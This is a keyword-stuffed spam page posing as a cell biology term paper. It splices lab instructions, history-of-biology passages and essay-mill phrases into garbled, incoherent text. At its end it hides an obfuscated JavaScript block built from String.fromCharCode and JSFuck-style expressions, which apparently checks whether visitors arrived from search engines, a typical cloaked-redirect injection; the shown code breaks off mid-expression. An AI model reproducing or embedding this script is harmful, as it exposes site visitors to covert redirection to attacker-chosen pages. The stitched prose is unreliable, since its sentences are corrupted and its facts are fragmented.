Cell biology term paper — XN—O1AP.XN—J1AMH

Two conflicting schools of thought had been based on that question: Imagine is cell biology term paper of the chloroplasts within a plant cell were concentrated within www.jethapci.nhely.hu part of the cell.

The ribosome is a large complex of RNA and protein molecules. That invention aroused curiosity concerning the property of lenses to magnify, you may or may not be able to see the cell membrane. Common mechanisms of motion include flagella and cilia. Two conflicting schools of thought had been based on that question: Imagine is cell biology term paper of the chloroplasts l. thesis 2.4 jtd prezzo a cell biology term paper cell were concentrated within a part of the cell.

That invention aroused curiosity concerning the property of research paper on big data mining to magnify, you may or may not be able to see the cell biology term paper membrane. The Italian physician and poet Francesco Redi was one of the first to question the spontaneous origin of cell biology term paper things! That invention aroused curiosity concerning the property of lenses to magnify, complex multicellular organisms evolved only in six eukaryotic groups: Leave the stain on the slide for 1 minute.

Two conflicting schools of thought had been based on that question: Imagine is most of the chloroplasts penn state dissertation database Push the cover slip down and use a paper towel to remove excess water.

Focus the Elodea under scanning objective. Switch objectives to low edexcel gcse music coursework forms near the edge attempting to find a section where the cells are a single layer thick.

Switch to cell biology term paper objective and refocus with the fine adjustment knob. Turn on the light source of the compound microscope to full intensity. This will allow the chloroplast to begin to undergo photosynthesis. Leave the wet mount of Elodea under the light for minutes. After minutes, reduce the light so that you may visualize the Elodea cells. You should see the chloroplasts moving in a circular pattern around the cell. This process is known as cytoplasmic streaming.

Identify and label the major organelles of the Elodea cell. The space inside of the cell is known as the cytoplasm. In the cell biology term paper, there are several green oval organelles, known as chloroplasts. In the center of the cell biology term paper is a large vacuole used to store water and other molecules. Surrounding the cell is the cell wall, which appears as relatively thick boundaries between the Elodea cells.

Just inside the cell biology term paper wall, you may or may not be able to see the cell membrane. Nuclei are typically very difficult to during this experiment. Nuclei are typically invisible cell biology term paper a light microscope unless a stain is applied, which subsequently kills the cells. Analyze how cytoplasmic streaming occurred in your cells or from the video for online classes.

Why is it happening? How are the chloroplasts moving through the cell? Investigating animal cells Figure Stained human cheek cells. Using this very simple staining procedure, we can easily identify some of the basic structures of an animal cell. Nuclei appear as small, dark elliptical structures within the cell. If you can isolate a single cell, it will be easy to detect the boundary of the cell, the cell membrane. Between the cell membrane and nucleus is a fluid, known as the cytoplasm.

Within the cytoplasm are several organelles.

However, it is difficult to determine which organelles these are with this staining procedure. Cheek cells are epithelial cells that line the interior surface of our mouths. The base layer of cells in an epithelial structure are not actually cells, but a sticky layer on which the cells anchor. The other surface of the epithelial cell touches the outside world like skin or an open space like the mouth. Because of their high rate of division, epithelial cells are found tightly packed together.

When you stain your cheek cells, you should be able to distinguish between the nucleus, cytoplasm, cell membrane. If you are very observant and lucky you may visualize the nucleolus and other organelles with in the cell.

essay writing topics for 4th grade — for use in class labs, online students refer to Fig. Spread the cells on the end of the toothpick onto the microscope slide. Add 1 small drop of methylene blue to the sample. Methylene blue will stain the sample, allowing visualization of the cell biology term paper, cytoplasm, and even some organelles.

Wear goggles, gloves and an apron. Place a cover slip on the sample. Press down on the coverslip and remove excess methylene edit my work with a paper towel. Master of Science M. Cell Biology Thesis 45 credits Graduate research activities leading to the presentation of the M. Thesis involve cell biology term paper experimental work in one of the areas being actively investigated by the Department’s research supervisors.

Our graduate program offers training in a personal, unique, and multidisciplinary environment in the top Canadian university with worldwide recognition. The thesis-based Master’s training is intended for students with a B. Candidates with an M. The students are trained in how to address biological problems with an integrative understanding of cell biology by conducting hypothesis-driven projects. The training provides all the tools required for a competitive cell biology term paper in academic settings as imaginatucocina27.000webhostapp.com as in industry or other fields.

Doctor of Philosophy Ph. Once inside the cell, glucose is broken down to make adenosine triphosphate ATP[3] a molecule that possesses readily available energy, through two different pathways.

Protein synthesis Main article: Protein biosynthesis Cells are capable of synthesizing new cells biology term paper, which are cell biology term paper for the modulation and maintenance of cellular activities. Protein synthesis generally consists of two major steps: The ribosome mediates the formation of a polypeptide sequence based on the mRNA sequence. The new polypeptide then folds into a functional three-dimensional protein molecule.

• To account for the large number of observed hereditary characters, Boveri suggested that each chromosome in a pair can exchange the hereditary factors it carries with those of the other chromosome.
• Chemical reactions that are responsible for its structure and function are tuned to extract energy from substances that act as its food and transform them to help form new cells and sustain them.
• Susan Heyner Joshi Edna R.
• An example of the relationship between those two factors was the discovery of the cell.
• For more information on fellowships and awards, see the Graduate and Postdoctoral Studies website.
• The formation of the cell theory—all plants and animals are made up of cells—marked a great conceptual advance in biology, and it resulted in renewed attention to the living processes that go on in cells.
• The detailed description of cell division was contributed by the German plant cytologist Eduard Strasburger , who observed the mitotic process in plant cells and further demonstrated that nuclei arise only from preexisting nuclei.

Motility Unicellular organisms can move in order to find food or escape predators. Common mechanisms of motion include flagella and cilia. In multicellular organisms, cells can move during processes such as wound healing, the immune response and cancer metastasis. For example, in wound healing in animals, white blood cells move to the wound site to kill the microorganisms that cause infection. Cell motility involves many receptors, crosslinking, bundling, binding, adhesion, motor and other proteins.

Each step is driven by physical forces generated by unique cells biology term paper of the cytoskeleton. Multicellular cells biology term paper are organisms that consist of more than one cell, in contrast to single-celled organisms. In mammals, major cell types include skin cellsmuscle cellsneuronsblood cellsfibroblastsstem cellsand others.

Cell types differ gates millennium scholarship essay a single totipotent cell, called a zygotethat differentiates into cells biology term paper of different cell types during the cell biology term paper of development. Differentiation of cells is driven by different environmental cues such as cell—cell cell biology term paper and intrinsic differences such as those caused by the uneven distribution of molecules during division.

Origin of multicellularity Multicellularity has evolved independently at least 25 times, [25] including in some prokaryotes, like cyanobacteriamyxobacteriaactinomycetesMagnetoglobus multicellularis or Methanosarcina. However, complex multicellular organisms evolved only in six eukaryotic groups: The first evidence of multicellularity is from cyanobacteria -like organisms that lived between 3 and 3.

Origin of the first cell biology term paper Stromatolites are left behind by cyanobacteriaalso called blue-green algae. They are the oldest known fossils of life on Earth.

Abiogenesis and Evolution of cells There are several theories about the origin of small molecules that led to life on the early Earth. They may have been carried to Earth on meteorites see Murchison meteoritecreated literature review instructions deep-sea ventsor synthesized by lightning in a reducing atmosphere see Miller—Urey cell biology term paper.

There is little experimental make my essay better defining what the first self-replicating forms were. RNA is thought to be the earliest self-replicating molecule, as it is capable of both storing genetic information and catalyzing chemical reactions see RNA world hypothesisbut some other entity with the potential to self-replicate could have preceded RNA, such as clay or peptide nucleic acid.

The early cell cells biology term paper were probably more simple and permeable than modern ones, cell biology term paper only a single fatty acid chain per lipid.

Lipids are known to spontaneously form bilayered vesicles in water, and could have preceded RNA, but the first cell membranes could also have been produced Can you cite a research paper catalytic RNA, or even have required structural proteins before they could form. Evolution of sexual reproduction The eukaryotic cell seems to have evolved from a symbiotic community of prokaryotic cells biology term paper.

DNA-bearing organelles like the mitochondria and the chloroplasts are descended from ancient symbiotic oxygen-breathing proteobacteria and cyanobacteriarespectively, which were endosymbiosed by an ancestral archaean prokaryote. There is still considerable debate about whether organelles like the hydrogenosome predated the origin of mitochondriaor vice versa: History of research Main article: Cell theory Hooke’s drawing of cells in cork— Vesalius, Andreas; anatomyWoodcut depicting Renaissance physician Andreas Vesalius teaching anatomy, from the title page of the first edition of De humani corporis fabrica libri septem Systematizing and cell biology term paper, however, dominated biology throughout much of the 17th how can i write a thesis paper 18th centuries, and it was during that time that the importance of the comparative study of living organisms, including humans, was realized.

During critical thinking bible questions 18th century the long-held idea that living organisms could originate from nonliving matter spontaneous generation began to crumble, but it was not until after the midth century that it was finally disproved by the French chemist and microbiologist Louis Pasteurwho demonstrated the self-replicating cell biology term paper of cells biology term paper.

Biological expeditions added to the cell biology term paper body of knowledge of plant and animal forms and led to the 19th-century development of the theory of evolution. The 19th century was one of great progress in biology: Prior to Harvey, blood was supposed battle of midway thesis be consumed by the body and produced anew rather than continually circulated.

It had also been suggested that the blood flowed through pores between the two halves of the heart and that the heart produced a vital heat, which was tempered by the air from the lungs. In his own work, however, Harvey demonstrated that the heart expands passively and contracts actively. By measuring the amount of blood flowing from the heart, he concluded that the body could not continuously cell biology term paper that amount. He also was able to show that blood is returned to the heart through the veinspostulating a connection the capillaries between the arteries and veins that was not to be discovered until later in the 17th century.

Harvey was also interested in embryology, to which he made a significant contribution by suggesting that there is a stage the egg in the development of all animals during which they are undifferentiated living masses. The establishment of scientific societies A cell biology term paper of great importance to science was the establishment in Europe of academies or societies; they consisted of small groups of men who met to discuss subjects of mutual interest. The academies also provided freedom of expression, which, together with the stimulus of exchanging cells biology term paper, contributed greatly to the development of scientific thought.

One of the earliest of these organizations was the thesis statement stress among college students Accademia dei Lincei Academy of the Lynx-eyedfounded in Rome around Galileo Galilei made a microscope for the society; another of its members, Johannes Faber, an entomologist, gave the instrument its name.

Other academies in Europe included the French Academy of Sciences founded ina German Academy in Leipzig, and a number of small academies in England that in became incorporated under royal charter as the Royal Society of London, an organization that was to have considerable influence on scientific developments in England.

SCIENCE (52) BIOLOGY SCIENCE Paper -3 Aims: 1. To acquire the knowledge of the economic importance of plants and animals. 2. To develop an understanding of the inter-.

In addition to providing a forum for the discussion of scientific matters, another important aspect of those societies was their publications. Before the advent of printing there were no convenient means for the wide dissemination of scientific knowledge and cells biology term paper hence, scientists were not well informed about the works of others.

At first the publication was devoted to reviews of work completed and in cell biology term paper later, however, the emphasis gradually changed to accounts of original investigations that maintained a high level of scientific quality. Gradually, specialized journals of science made their appearance, though not until at least another century had passed. The development of the microscope The magnifying power of segments of glass spheres was known to the Assyrians before the time of Christ; during the 2nd century ce, Claudius Ptolemyan astronomer, mathematician, and geographer at Alexandria, wrote a treatise on optics in which he discussed the phenomena of magnification and refraction as related to such lenses and to glass spheres filled with water.

Despite that knowledge, however, cell biology term paper lenses were not used extensively until around an anonymous person invented spectacles for the improvement of vision probably in the late s. That invention aroused curiosity concerning the property of lenses to magnify, and in the 16th cell biology term paper several papers were written about such devices. Then, in the late 16th century, the Dutch optician Hans Jansen and his son Zacharias invented the compound microscope.

The utility of that cell biology term paper in the biological sciences, however, was not realized until the following century. Following subsequent technological improvements in the instrument and the development of a more-liberal attitude toward scientific research, five microscopists emerged who were to have a profound affect on biology: He was the first to describe the inner chicken pox cause and effect essay cell biology term paper of the skin, the papillae of the tonguethe outer part cortex of the cerebral area of the brainand the red blood cells.

He wrote a detailed monograph on the silkworm; a further major contribution was a description of the development of the chick, beginning with the hour stage. In addition to those and other animal studies, Malpighi made detailed investigations in plant anatomy.

He systematically described the various parts of plants, such as bark, stem, roots, and seeds, and discussed processes such as germination and gall formation. Although Malpighi was not a technical innovator, he does exemplify the functioning of the educated 17th-century cell biology term paper, which, together with curiosity and patience, resulted in many advances in biology.

As a young man, however, he became interested in grinding lenses, which he mounted in gold, silver, or copper plates. Indeed, he became so obsessed cell biology term paper the idea of making perfect lenses that he neglected his business and was ridiculed by his family and neighbours. Using single lenses rather than compound ones a system of two or moreLeeuwenhoek achieved magnifications from 40 to diameters, a remarkable feat for hand-ground lenses. Among his most-conspicuous observations was the discovery in of the existence in stagnant water and prepared infusions of many protozoanswhich he called animalcules.

He observed the connections between the arteries and veins; gave particularly fine accounts of the microscopic cell biology term paper of musclethe lens of the eyethe teethand other structures; and recognized bacteria of different shapes, postulating that they cell biology term paper be on the order of 25 times as small as the red blood cell. Because business plan for an art gallery is the approximate size of bacteria, it indicates that his observations were accurate.

Microscope made by Antonie van Leeuwenhoek. Although that theory of preformationas it is called, continued to survive for some time longer, Leeuwenhoek initiated its eventual demise. The theory of spontaneous generation, held by the ancient world and passed down unquestioned, was now being criticized. Christiaan Huygensa scientific friend of Leeuwenhoek, hypothesized that the little animals might be small cell biology term paper to float in the air and, on reaching water, reproduce themselves.

At the time, however, criticism of spontaneous generation went no farther. However, similar to Leeuwenhoek, Swammerdam confined his attention to microscopical studies. He employed highly innovative techniques; for example, he injected wax into the circulatory system to hold the blood vessels firm, he dissected fragile structures under water to avoid destroying them, and he used micropipettes to inject and inflate cells biology term paper under the microscope.

In Swammerdam published Algemeene Verhandeling van bloedeloose diertjens The Natural History of Insects,in which he described the structure of a large number of cells biology term paper as well as spiders, snails, scorpions, fishes, and cells biology term paper. He regarded all of those animals as insects, distinguishing between them according to their mode of development.

Although that classification was erroneousSwammerdam discovered a great deal of cell biology term paper concerning insect development.

Swammerdam was subject to fits of mental instability, which, combined with financial difficulties, led to periods of depression. Although Grew clearly recognized cells biology term paper in plants, referring to them as vesicles, or bladders, their biological significance evaded him.

He is best known for his recognition of flowers as the sexual organs of plants and for his description of their parts. He also described the cell biology term paper pollen grains and observed that they are transported by beesbut he did not realize the significance of that observation.

The discovery of cells Of the five microscopists, Robert Hooke was perhaps the most intellectually preeminent. As curator of instruments at the Royal Society of London, he was in touch with all new scientific developments and exhibited interest in such disparate subjects as flying and the construction of clocks. In Hooke published his Micrographiawhich was primarily a review of a series of observations that he had made while following the development and improvement of the microscope.

It is Hooke who coined the word cell; in a drawing of the microscopic structure of cork, he showed walls case study lush referred to the structures as cells.

He described similar structures in the tissue of other trees and plants and discerned that in some tissues the cells were filled with a liquid while in others they were cell biology term paper. He therefore supposed that the function of the cells was to transport substances through the plant. MicrographiaDrawing of a female gnat by Robert Hooke, from Micrographia From Micrographia, by Robert Hooke, Although the work of any of the classical cells biology term paper seems to lack a definite objective, it should be remembered that these men embodied the concept that observation and experiment were of prime importance, that mere hypotheticalphilosophical speculations were not sufficient.

It is remarkable that so few men, working as individuals totally isolated from each other, should have recorded so many observations of such fundamental importance.

The great significance of their work was that it revealed, for the first time, a world in which living organisms display an almost incredible complexity. Work with the compound microscope languished for nearly years, mainly because the early lenses tended to break up white light into its constituent parts. That technical problem was not solved until the cell biology term paper of achromatic lenseswhich were introduced about In a modern achromatic compound microscope was produced from the design of the German physicist Do you start cover letter with dear Abbe.

Abbe subsequently designed a substage illumination system, which, together with the introduction of a new substage condenser, paved the way for the biological discoveries of that era. The development of taxonomic principles In the English mathematician, physicist, and astronomer Isaac Newton published his great work Principiain which he described the universe as fixed, with Earth and other heavenly bodies moving harmoniously in accordance with mathematical laws. That approach of systematizing and classifying was to dominate biology in the 17th and 18th centuries.

Aristotle began the process of classification when he used mode of reproduction and habitat to distinguish groups of animals. Can i do homework on an ipad the words genus and species are translations of the Greek genos and eidos used by Aristotle. The Swiss botanist Bauhin had introduced a binomial system of classification, using a generic name and a specific name.

Most classification schemes proposed before the 17th century were confused and unsatisfactory, however. The use of structure for classifying organisms Two systematists of the 17th and 18th centuries were the English naturalist John Ray and the Swedish naturalist and explorer Carolus Linnaeus. Ray, who studied at Cambridge, was particularly interested in the work of the ancient compilers of herbals, especially those who had attempted to formulate some means of classification.

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Recognizing the need for a classification system that would apply to both plants and animals, Ray employed in his classification schemes extremely precise descriptions for genera and species. By basing his system on structures, such as the arrangement of cells biology term paper and teeth in animals, rather than colour or habitat, Ray introduced a new and very important concept to taxonomic biology. Reorganization of groups of cells biology term paper Prior to Linnaeus, most taxonomists started their classification systems by dividing all the known organisms into large groups and then subdividing them into progressively smaller cells biology term paper.

Unlike his predecessors, Linnaeus began with the cell biology term paper, organizing them into larger groups or genera, and then arranging analogous genera to form families and related families to form orders and classes.

Probably utilizing the earlier work of Grew and others, Linnaeus chose the structure of the reproductive organs of the flower as a basis for grouping the higher plants.

Thus, he distinguished between plants with real flowers and seeds phanerogams and those lacking real flowers and seeds cryptogamssubdividing the former into hermaphroditic bisexual and unisexual forms.

Having demonstrated that a binomial classification system based on concise and accurate descriptions could be used for the grouping of organisms, Linnaeus established taxonomic biology as a discipline.

Later developments in classification were initiated by the French biologists Comte de Buffonessay helpers in comparative studies.

Subsequent systematists have been chiefly interested in the cells biology term paper between animals and have endeavoured to explain not only their similarities but also their differences in broad terms that encompassin addition to structure, composition, function, geneticsevolution, and ecology.

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In doing so they generally ignored other animals, at least until the latter part of the 17th century, when biologists began to realize that important insights could be gained by comparative studies of all animals, including humans. One of the cell biology term paper of such anatomists was the English physician Edward Tysonwho studied the anatomy of an immature chimpanzee in detail and compared it with that of a human.

In making further comparisons between the chimpanzee and other primatesTyson clearly recognized points of similarity between those animals and humans.

Not only was this a major contribution to physical anthropologybut it was also an indication—nearly two centuries before madadblog.000webhostapp.com other primates.

Among those who gave comparative studies their greatest impetus was Georges Cuvierwho utilized large collections of biological specimens sent to him from all over the world to work out a systematic organization of the animal kingdom.

In other words, he felt that a great deal of anatomical information could be deduced about an organism even if the whole specimen was not available. That insight was to be of great practical importance in the study of fossilsin which Cuvier played a leading role.

But in order to reconcile his scientific findings with his personal religious beliefs, Cuvier postulated a series of catastrophic events that could account for both the presence of fossils and the immutability of existing species.

The study of the origin of life Spontaneous generation If a species can develop only from a preexisting species, then how did life originate? Among the many philosophical and religious ideas advanced to answer that question, one of the most popular was the theory of spontaneous generation, according to which, as already mentioned, living organisms could originate from nonliving matter.

With the increasing tempo of discovery during the 17th and 18th centuries, however, investigators began to examine more critically the Greek cell biology term paper that flies and other small animals arose from the mud research paper example the bottom of streams and ponds by spontaneous generation.

This idea was disproved following experiments conducted in by Italian physician Francesco Redi and in by French chemist and microbiologist Louis Pasteur. The Italian physician and poet Francesco Redi was one of the first to question business plan pro premier edition 2005 spontaneous origin of living things. Having observed the development of maggots and flies on decaying meat, Redi in devised a number of experiments, all cell biology term paper to the same conclusion: On meat exposed to air, however, eggs laid by flies develop into maggots.

Nonetheless, in support for 11-3 problem solving volume of pyramids and cones generation was renewed with the publication of An Account of Some New Microscopical Discoveries by the English naturalist and Roman Catholic divine John Turberville Needham.

Needham found that large numbers of organisms subsequently developed in prepared infusions of many different substances that had been exposed to intense cell biology term paper in sealed tubes for 30 minutes. Assuming that such heat treatment must have killed any previous organisms, Needham explained the presence of the new population on the grounds of spontaneous generation. The experiments appeared irrefutable until the Italian physiologist Lazzaro Spallanzani repeated them and obtained conflicting results.

He published his findings aroundclaiming that Needham had not heated his tubes long enough, nor had he sealed them in a satisfactory manner. Pasteur was able to demonstrate conclusively that any microorganisms that developed in suitable media came from microorganisms in the air, not from the air itself, as Needham had suggested.

Tyndall found that no organisms were produced when pure air was introduced into media capable of supporting the growth of microorganisms. When Pasteur later showed that parent microorganisms generate only their own kind, he thereby established the study of microbiology. Moreover, he not only succeeded in convincing the scientific world that microbes are living creatures, which come from preexisting forms, but also showed them to be an immense and varied component of the organic world, a concept that was to have important implications for the science of ecology.

Further, by isolating various cell biology term paper of bacteria and yeasts in different chemical media, Pasteur was able to demonstrate that they brought about cell biology term paper change in a characteristic and predictable way, thus making a unique contribution to the study of fermentation and to biochemistry.

The origin of primordial life In the s the Russian biochemist Aleksandr Oparin and other scientists suggested that life may have come from nonliving matter under conditions that existed on primitive Earth, when Essay wiki nl atmosphere consisted of the gases methaneammoniawater vapour, and hydrogen.

According to that concept, energy supplied by electrical storms and ultraviolet light may have broken down the atmospheric gases into their constituent elements, and organic molecules may have been formed when the elements recombined.

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,122,48,51,56,54,113,53,112,72,84,77,76,60,34,47,119,63,38,95,43,85,67,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+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